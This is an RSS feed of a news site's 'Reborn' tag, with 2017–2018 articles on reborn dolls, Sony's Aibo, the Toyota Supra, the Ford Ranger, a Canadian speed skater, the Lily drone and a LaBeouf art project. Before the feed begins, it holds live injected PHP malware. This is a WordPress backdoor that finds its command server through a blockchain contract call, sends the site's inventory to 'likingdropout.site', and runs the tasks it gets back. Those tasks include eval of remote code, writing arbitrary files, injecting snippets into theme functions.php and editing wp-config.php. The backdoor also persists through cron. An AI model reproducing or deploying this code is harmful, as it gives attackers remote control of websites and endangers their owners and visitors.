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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); “Reborn” – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 12 Nov 2018 16:12:06 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png “Reborn” – Brief News https://briefnews.eu 32 32 Photo Gallery: When the Baby in Family Photos Is a High-End Silicone “Reborn” https://briefnews.eu/photo-gallery-when-the-baby-in-family-photos-is-a-high-end-silicone-reborn/ https://briefnews.eu/photo-gallery-when-the-baby-in-family-photos-is-a-high-end-silicone-reborn/#respond Mon, 12 Nov 2018 16:12:06 +0000 http://briefnews.eu/photo-gallery-when-the-baby-in-family-photos-is-a-high-end-silicone-reborn/ Berlin-based photographer Lena Kunz set out to chronicle the world of meticulously crafted baby dolls and the people who love them.


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]]> https://briefnews.eu/photo-gallery-when-the-baby-in-family-photos-is-a-high-end-silicone-reborn/feed/ 0 Sony’s reborn Aibo robot is available for pre-order in the US https://briefnews.eu/sonys-reborn-aibo-robot-is-available-for-pre-order-in-the-us/ https://briefnews.eu/sonys-reborn-aibo-robot-is-available-for-pre-order-in-the-us/#respond Tue, 18 Sep 2018 21:11:56 +0000 http://briefnews.eu/sonys-reborn-aibo-robot-is-available-for-pre-order-in-the-us/

Sony’s relentlessly adorable Aibo robot is finally ready to return to American shores. After months of waiting, you can pre-order a First Litter Edition of the robo-pup in the US ahead of an expected mid-December ship date. You’ll be spending a staggering $ 2,900 to play with the limited-run mechanical canine. The kit includes everything you’ll need to get started, however — you’ll get a bone (sorry, aibone), a pink ball, paw pads and three years of AI cloud service to help Aibo learn.

This is the definition of a luxury product — you really, really don’t need an Aibo in your life. However, it’s also a rare chance at both revisiting an iconic robot and experiencing what it’s like to have an ever-evolving AI companion in your home. If you have the money burning a hole in your pocket and an insatiable curiosity, it might be worth a look.

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]]> https://briefnews.eu/sonys-reborn-aibo-robot-is-available-for-pre-order-in-the-us/feed/ 0 Audi R8 to Be Reborn As EV Hypercar by 2022: Report https://briefnews.eu/audi-r8-to-be-reborn-as-ev-hypercar-by-2022-report/ https://briefnews.eu/audi-r8-to-be-reborn-as-ev-hypercar-by-2022-report/#respond Fri, 07 Sep 2018 05:10:28 +0000 http://briefnews.eu/audi-r8-to-be-reborn-as-ev-hypercar-by-2022-report/ Unverified industry rumors claim Audi has no intention of bringing back the R8 for a third generation. The problem is deeply rooted in stagnating sales and further exacerbated by tightening emissions standards and Volkswagen Group’s new role as an environmentally conscious manufacturer. However, new reports indicate the brand’s flagship supercar will see new life as […]

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]]> https://briefnews.eu/audi-r8-to-be-reborn-as-ev-hypercar-by-2022-report/feed/ 0 ‘Underworld Ascendant’ teaser reveals a reborn dungeon crawler https://briefnews.eu/underworld-ascendant-teaser-reveals-a-reborn-dungeon-crawler/ https://briefnews.eu/underworld-ascendant-teaser-reveals-a-reborn-dungeon-crawler/#respond Sun, 15 Apr 2018 03:55:39 +0000 http://briefnews.eu/underworld-ascendant-teaser-reveals-a-reborn-dungeon-crawler/

Ever since veteran developers successfully crowdfunded their spiritual successor to Ultima Underworld, there’s been a looming question: how would the prototypical 3D action RPG translate to the 21st century? You now have an idea. OtherSide and 505 Games have released a teaser trailer for Underworld Ascendant that illustrates how the reborn dungeon crawler will work. More than anything, it’s clear that this isn’t just a hack-and-slash. You’ll be rewarded for ingenuity and stealth, such as building bridges from magic-laced barrels, or using a water arrow to shoot out a light Thief-style. There’s even some wall running for Mirror’s Edge fans.

The graphics have unsurprisingly made leaps and bounds over Ultima Underworld (it was made at a time when any 3D was a novelty), but you might be most interested in the variety. The usual grim dungeons and dark caverns are broken up by underground flora and other signs of the not-so-natural life in the Stygian Abyss.

The teaser still leaves questions unanswered. Does it translate some of the clever role-playing elements (such as learning another species’ language), for example? And how much will it feel like an Ultima game for those who remember the series when it was fresh? Ascendant is still slated to ship in 2018, so you might not have too long to wait to get further answers.

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]]> https://briefnews.eu/underworld-ascendant-teaser-reveals-a-reborn-dungeon-crawler/feed/ 0 More on the Reborn Toyota Supra: A Manual Remains Possible, a V-8 Fits, and Much More https://briefnews.eu/more-on-the-reborn-toyota-supra-a-manual-remains-possible-a-v-8-fits-and-much-more-2/ https://briefnews.eu/more-on-the-reborn-toyota-supra-a-manual-remains-possible-a-v-8-fits-and-much-more-2/#respond Tue, 06 Mar 2018 23:41:32 +0000 http://briefnews.eu/more-on-the-reborn-toyota-supra-a-manual-remains-possible-a-v-8-fits-and-much-more-2/ Toyota GR Supra Racing concept

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The Toyota Supra is back. After leaked specs and many spins around the rumor mill, the first official evidence of the car’s rebirth came at this year’s Geneva auto show with the reveal of the GR Supra Racing concept, a race-car version of the eventual production model. We sat down with Supra (and Toyota 86) chief engineer Tetsuya Tada at the show, where he revealed more of the car’s secrets. There’s still much to learn, but the pieces are starting to fall into place. Here is what we learned.

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• The production Supra will be strictly a two-seater. If you look carefully at the race car’s 97.2-inch wheelbase, it’s four inches shorter than that of the Toyota 86, a car that needed more space between its axles to package a rear seat and make other concessions to practicality. Tada said the Supra will make no such concessions.

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• The concept version is set up to GT-class spec, although it doesn’t have a powertrain installed. If the Supra were ultimately to enter that class, rules specify a production engine—but not necessarily one from that specific car. So the GT Supra could use anything from a version of the turbocharged inline-six slated for the roadgoing model to the V-8 currently stuffed in Lexus’s RC F GT3 race cars; we did confirm with Tada that a V-8 would indeed fit beneath the Supra racer’s hood. He also said that the car could use different powertrains depending on the racing series.

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• The race version was developed in tandem with the street car. Doing so allowed Tada and his team to tweak the production model along the way to ensure it would be as suitable a base as possible for the race car. This is an approach shared by the Chevrolet Corvette development team, and it has paid off for them in big ways for both race and street models.

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• The race-car concept is said to have (or at least is being shown as if it has) an automatic sequential transmission, but it has three pedals—what gives? As in many race cars with sequential ’boxes, the clutch pedal is needed to get moving from a stop and then makes like your appendix and isn’t used for anything the rest of the time.

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• Toyota spoke to a large number of Supra enthusiasts, especially in the United States, to find out what was most important to them regarding a possible fifth-gen model, and the automaker came away with three key learnings: The car had to be front engined and rear-wheel drive, it needed to have a turbocharged straight-six engine, and the fans wanted it to be tunable. The first two have been checked off the list, and while Tada wouldn’t promise to match the tunability of the fourth-gen car—he says its ability to handle four-figure horsepower was more an accidental byproduct of trying to make it reliable than by design—we were told that having a close connection between car and driver is very important to him and his team.

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• Tada tells us that there wasn’t much demand from Supra enthusiasts for a manual transmission in the street model—although we find that hard to believe, and he definitely didn’t ask us what we thought. Yet despite that fact and much reporting to the contrary, hope for a manual may not actually be dead after all. When asked if a stick could be added into the mix, he demurred and expressed his desire to make that happen, saying earnestly and with a bit of a twinkle in his eye that he will “try to do his best.”

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• The Toyota 86 and its Subaru BRZ twin are renowned for their low centers of gravity, imbued in part by their flat-four engines, a powerplant type that is low and wide. Despite the production Supra’s use of  a comparatively tall and long straight-six, we were told that the Supra’s center of gravity, incredibly, will actually be lower than that of the 86. Tada says the team is also considering a model that leverages Lexus’s latest hybrid powertrain as seen in the LS and LC, although cost remains a worry there.

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• We were also told that the Supra will offer 50/50 weight distribution. This and the low center of gravity were not achieved by using a transaxle, Tada confirmed, adding that hitting these targets was the most difficult part of the project. We’re still trying to work out the packaging, but we were promised all will be revealed when we get to drive the car sometime next year.

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• The streetable Supra won’t have brake-based torque vectoring, instead being fitted with a true active rear differential.

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• While everyone—including us—has cried for more power in the 86 since the moment it launched, Tada said that car couldn’t get more powerful without needing major chassis revisions. This was taken into account with the Supra, and its bones are prepared for more muscle right out of the gate. Those bones, by the way, are said to be twice as rigid as the 86’s.

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• The Toyota/BMW partnership that produced this car—BMW will get a new Z4 out of it, too—was formed six years ago, and it took two years simply to overcome operational, cultural, and developmental hurdles to establish a comfortable working relationship.

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• Toyota’s approach when developing the 86/BRZ with Subaru was to have the cars share as many components as possible, and it believed BMW would want to follow this same approach. BMW had other ideas, saying it was important that the resultant cars were ones that each company truly wanted, and so the Z4/Supra project began with each automaker laying out a set of parameters for its own model and then working out what could be commodified from there. The result is that the Z4 and the Supra, we’re told, will share almost zero visible parts. Among the Toyota’s differentiators may be the concept’s super-cool single rear exhaust outlet—it seems as if it may survive the transition to production.

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• The BMW Z4 will go on sale first, with the Supra to follow probably by the middle of next year. Look for the Toyota at an auto show early next calendar year, likely Detroit. The Toyota will be offered globally in most markets almost simultaneously, including both right- and left-hand-drive versions.

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]]> https://briefnews.eu/more-on-the-reborn-toyota-supra-a-manual-remains-possible-a-v-8-fits-and-much-more/feed/ 0 2019 Ford Ranger | The American Ranger reborn https://briefnews.eu/2019-ford-ranger-the-american-ranger-reborn/ https://briefnews.eu/2019-ford-ranger-the-american-ranger-reborn/#respond Sun, 14 Jan 2018 08:16:10 +0000 http://briefnews.eu/2019-ford-ranger-the-american-ranger-reborn/
After several years studying abroad, the Ford Ranger is finally coming home to the States, more capable and more refined than ever. This isn’t just a rehash of the same old formula. Ford is bringing the midsize Ranger sold in the rest of the world since 2011 to us. Since the return was announced last year, there’s been a ton of speculation about the truck. Well, here it is in all its glory. (Spoiler alert: We couldn’t wait for thenew Ranger, so we went to New Zealand to drive one.)

The original Ranger soldiered along for nearly three decades with just a few sporadic updates, but by the time production ended in 2012, sales of the compact truck market had been steadily declining for years. The full-size F-150 offered far more space and utility for not much more money — as well as more profit for the automakers and dealers. But after seeing the sales of the new Chevy Colorado, the folks in Dearborn have taken the hint. Since the Colorado was reintroduced in 2014, the midsize truck market has grown by a whopping 83 percent.

In the U.S., the Colorado and Toyota Tacoma rule the roost, with the the aging Nissan Frontier playing a much smaller role. Globally, the show looks a little different since midsizers have evolved differently abroad. The Ranger not only survived but thrived, comparing favorably to stalwarts like the Toyota Hilux. The current T6 generation Ranger has been on sale since 2011 in 180 markets around the globe. It’s a completely separate and far more modern truck than the one previously sold here.

That global Ranger is indeed what you see here, but there are a number of changes to tailor it for an American audience. Rather than a four- or five-cylinder diesel, under the hood you’ll find a 2.3-liter EcoBoost turbocharged inline-four. This is a variant of the same engine that’s in the Ford Focus RS and the Ford Mustang EcoBoost, though Ford didn’t go into details on what separates the engines. It features direct-injection, 16 valves, a twin-scroll turbocharger, forged-steel crank and connecting rods, and chain-driven cams.

Power hasn’t been announced, but Ford is targeting class-leading torque for gasoline engines. For reference, the Colorado has 308 horsepower and 275 pound-feet of torque while the Tacoma makes 278 horsepower and 269 pound-feet of torque. The Ranger beats both of those in gear count, too, as the 2.3-liter engine is mated solely to a 10-speed automatic. This transmission was co-developed with GM and is found in everything from the Chevy Camaro ZL1 to the Ford F-150 Raptor to the refreshed 2018 Mustang. Don’t rule out a five-cylinder diesel sometime down the line.

Other changes for America include revised front and rear styling. The grille and lower bumper are different than the global model. Ford touts that the Ranger is the only vehicle in the class with a steel bumper. The tailgate has the Ranger logo embossed in a large font along the bottom, similar to that of the revised F-150. There is also new trim on the wheel arches, giving the Ranger a buff, muscular look. Still, it’s mostly the same styling that the rest of the world has known for years.

The Ranger has skid plates underneath and tow hooks in the bumper. The vents in the front fenders are functional. Both the hood and tailgate are made from aluminum. The cost of completely switching the Ranger to aluminum like its larger siblings was prohibitive, so that’s as much alloy as the Ranger gets. Underneath, you’ll find a live rear axle, monotube dampers and high-strength steel in the frame. As with torque, Ford is targeting best-in-class payload. The Ranger’s tow rating is likely to be competitive, though Ford seems to be focused more on payload capacity.

Stepping up to the FX4 trim adds a number of performance upgrades. There are knobbier tires, a steel bash plate up front, reinforced skid plates underneath, and upgraded shocks. The Ranger FX4 also comes with Dana axles both front and rear, with an electronic locking rear differential and a two-speed transfer case. There’s also a Terrain Management System that has four modes: normal; grass, gravel and snow; mud and ruts; and sand. There’s also a Trail Control system. Think of this as off-road cruise control that works from 1 to 20 mph.

While Ford was mum on the subject, expect a Ranger Raptor to make a debut sometime soon.

The Ranger comes in three trim levels: XL, XLT and Lariat in both SuperCab (extended) and SuperCrew (four-door) configurations. In addition to the FX4 package, customers can opt for Chrome and Sport appearance packages.

While the old Ranger saw service in a lot of fleets, Ford is marketing the new Ranger toward a lifestyle-oriented market and isn’t offering stripped-down models. Instead, the Ranger is aimed at the crowd interested in getting outdoors, since all the marketing materials show people using the new Ranger to go camping, off-roading, cycling, climbing, and the like. If you want a work truck, look to the F-150.

The interior appears to be straight from the global Ranger, though we’ll have to get a good look in person to spot any differences. There’s an available 8-inch display for Ford’s Sync 3 infotainment system. Sync 3 has Apple CarPlay, Android Auto and Amazon Alexa integration. FordPass Connect gives customers Wi-Fi access for up to 10 devices through a 4G LTE modem. Active safety features include blind-spot monitoring with trailer coverage, pre-collision assist, lane-keep and lane-departure assist and automatic cruise control.

Pricing hasn’t been announced, but expect it to start at the low- to mid-$ 20,000 range. A base Colorado starts at $ 21,195, while a Tacoma will set you back at least $ 24,480, though both of those are about as stripped-down as a modern vehicle gets. Look for the Ranger to hit showrooms later this year.

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]]> https://briefnews.eu/2019-ford-ranger-the-american-ranger-reborn/feed/ 0 The Roadrunner reborn: Charle Cournoyer wants more in Pyeongchang https://briefnews.eu/the-roadrunner-reborn-charle-cournoyer-wants-more-in-pyeongchang/ https://briefnews.eu/the-roadrunner-reborn-charle-cournoyer-wants-more-in-pyeongchang/#respond Fri, 13 Oct 2017 14:23:29 +0000 http://briefnews.eu/the-roadrunner-reborn-charle-cournoyer-wants-more-in-pyeongchang/ Skating cuts deep in Charle Cournoyer’s family.

That’s no surprise when you consider he’s a distant cousin of Yvan Cournoyer, the 10-time Stanley Cup winner and former captain of the Montreal Canadiens.

The speedy Yvan was known as the Roadrunner during his time in the National Hockey League. He credited that swiftness to his long skate blades — a tip his young cousins picked up on.

At three years old, Charle Cournoyer’s mother deemed him too young to strap on those long blades. Charle sat by his mother’s side watching brother Vincent, then seven, begin his short track speed skating career.

Charle begged his mother to let him skate: “I wanna get on the ice. I wanna do something.”

One year later, Charle’s wish was fulfilled, and he hasn’t looked back since.

Cournoyer experienced success earlier than most — at age 22 he was the youngest skater on Canada’s short track squad in Sochi, where he won a surprising bronze in the 500 metres.

A rocky interlude

What followed wasn’t as shiny.

Surgery on a dislocated shoulder right after the 2014 Games sidelined the Boucherville, Que., native after the Olympics, before a broken foot in September of that year ended his 2014-15 season.

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Charle Cournoyer won bronze in the 500 metres at the Sochi Olympics in 2014. (David Goldman/The Associated Press)

Finally healthy for 2015-16, Cournoyer picked up his first individual World Cup victory in the 1,000, to go along with three other podium finishes. The 2016-17 season was a repeat of Sochi — individual success for Cournoyer scuttled by team failure in the relay (the Canadian men missed qualifying for the final at the 2014 Olympics).

2017-18 has been different, as the relay team has won two consecutive World Cup races to kick off the season.

“I would say the key for us, the reason why we did so well this season, was because we did so bad last season,” Cournoyer, now 26, says. “We were able, at the end of last season and through the summer, to point out what we did wrong and what we have to work on to achieve a medal at the Olympic Games.”

The two gold medals mean that Canada has already qualified for the men’s relay in Pyeongchang. The rest of the season will be spent attempting to qualify for individual events, trying out different skaters and learning how opponents will adjust to what now appears to be a Canadian powerhouse.

Back on the podium

Cournoyer, meanwhile, is focused on taking home another Olympic medal. To that end, he’s broadened his focus beyond the 500.

“Everything I’ve done so far is to get to that podium,” he says.

“I’m aiming for a better performance on other distances than 500 metres, so I’ve been working on my 1,000 metres and 3,000 metres the past few years,” Cournoyer says. “I just want to show the world that I’m actually really good.”

Cournoyer also hopes to use his experience to help some of the younger skaters, like Ferland-et-Boilleau, Que., native Samuel Girard, 21, and Pascal Dion, 23, from Montreal.

Cournoyer took specific interest in Dion, in whom he says he sees himself. Dion enters the PyeongChang Olympics in a similar spot to where Cournoyer was four years ago, with little exposure to international competition.

Perhaps, Cournoyer could be like an older brother to them, just as Vincent is to him.

“I’ve always looked up to my brother. I’ve always kind of tried to not beat him, but do just like him. My brother has always been really encouraging to me,” Cournoyer says.

If Vincent is his biggest inspiration, then decorated Canadian short track speed skater Marc Gagnon is a close second.

Cournoyer’s first Olympic memory wasn’t at Sochi — it is from 16 years earlier and waking up in the middle of the night to watch Gagnon’s relay team skate to gold at the 1998 Nagano Games.

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Cournoyer and teammate Samuel Girard comprise half the Canadian 5,000-metre relay team. (Jeff McIntosh/The Canadian Press)

The Roadrunner returns

Derrick Campbell was also on that relay team and now serves as the head coach of the men’s national short track team. He’s coached Cournoyer since 2011 and sees one key similarity with Gagnon: a drive to win. 

“I think tactically he’s made improvement, just with his racing skills, execution of race strategy,” Campbell says. “Compared to where we were this time [before] Sochi, he’s a much better skater now.”

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Yvan Cournoyer, third from the right, was known as the Roadrunner due to his ridiculous skating speed throughout his career, during which he won 10 Stanley Cups. (Canadian Press)

Campbell wants Cournoyer to improve his consistency, because he says the talent is there, and he admires the approach Cournoyer has taken off the ice.

“From the relay event, he’s developed into more of an active leader in the group,” says Campbell, 45. “His understanding of the event is very high and he’s taking a stronger leadership role within the group. He himself is making various adjustments with what he can do in the relay to become a better skater.”

The 2018 Winter Olympics represent an opportunity for Cournoyer to take the baton from Charles Hamelin and become the face of Canadian speed skating. In all likelihood, Hamelin, the four-time Olympic medallist from Levis, Que., will hang them up after the conclusion of the PyeongChang Games.

It’s quite familiar: a Cournoyer skating his way to Canadian glory.

“From what I’ve heard, [Yvan is] actually the cousin of my grandfather,” Cournoyer says.

If the first two World Cup races are any indication, the Roadrunner is about to make a comeback.

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]]> https://briefnews.eu/the-roadrunner-reborn-charle-cournoyer-wants-more-in-pyeongchang/feed/ 0 The reborn Lily drone isn’t what you were expecting https://briefnews.eu/the-reborn-lily-drone-isnt-what-you-were-expecting/ https://briefnews.eu/the-reborn-lily-drone-isnt-what-you-were-expecting/#respond Mon, 04 Sep 2017 03:40:50 +0000 http://briefnews.eu/the-reborn-lily-drone-isnt-what-you-were-expecting/

To say that Lily drone backers were disappointed would be an understatement. They were promised a cutting-edge machine only to watch the $ 34 million crowdfunding campaign go up in flames, and only some contributors have received their funds so far. However, Lily is back — sort of. Mota Group (which bought the brand name) has introduced a reborn “Lily Next-Gen” that includes the the same cute black-and-chrome look as the original, but not much else. You’re not going to launch the drone by throwing it, and it’s definitely not waterproof. Its biggest selling points are 4K video and one-button takeoff.

The machine will normally sell for $ 699, but early adopters can buy it for $ 499 during the drone’s “first few days” on sale.

Mota’s version of Lily is bound to be a bit frustrating if you poured hard-earned money into the crowdfunded project, especially knowing that another company (LR Acquisition) holds the patents for what made Lily special. With that said, the very fact that it exists could be important if you’re a former backer. The sale of the Lily badge could help more people get refunds and put an end to the whole tragic tale.

Via: Fstoppers, Droning On

Source: Mota

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]]> https://briefnews.eu/the-reborn-lily-drone-isnt-what-you-were-expecting/feed/ 0 Shia LaBeouf’s anti-Trump livestream is reborn in New Mexico https://briefnews.eu/shia-labeoufs-anti-trump-livestream-is-reborn-in-new-mexico/ https://briefnews.eu/shia-labeoufs-anti-trump-livestream-is-reborn-in-new-mexico/#respond Sun, 19 Feb 2017 05:16:32 +0000 http://briefnews.eu/shia-labeoufs-anti-trump-livestream-is-reborn-in-new-mexico/

Shia LaBeouf’s anti-Trump livestreaming art piece in New York City was ignominiously shut down just a few weeks into its planned 4-year run, but it’s getting a revival… albeit nowhere near its original home. LaBeouf and his artist partners have relaunched the anti-Donald Trump project, He Will Not Divide Us, at the Historic El Rey Theater in Albuquerue, New Mexico — not exactly a convenient move if you’d been considering a visit to the original site. It’s now much more likely that the livestream is your only way of seeing what all the fuss is about.

LaBeouf and crew also have some more choice words for the Museum of the Moving Image, which shut down the original project. They dispute the museum’s claim that the art project led to violence, and argue that officials were far from communicative. They didn’t mention any instances of violence and didn’t even respond to requests for a way to report hate speech incidents, according to a statement. The creators also accuse the museum of caving in to “political pressure,” pointing out that its attorney Brendan O’Rourke (who told LaBeouf’s team about the shutdown) also represents Trump.

Whoever you believe, the shutdown and reopening highlight both the advantages and perils of live internet art. While it’s great that the piece is accessible anywhere at any time, it’s clear that exhibitions like this can only work if there’s enough cooperation to guarantee a safe, harassment-free space.

Via: The Verge

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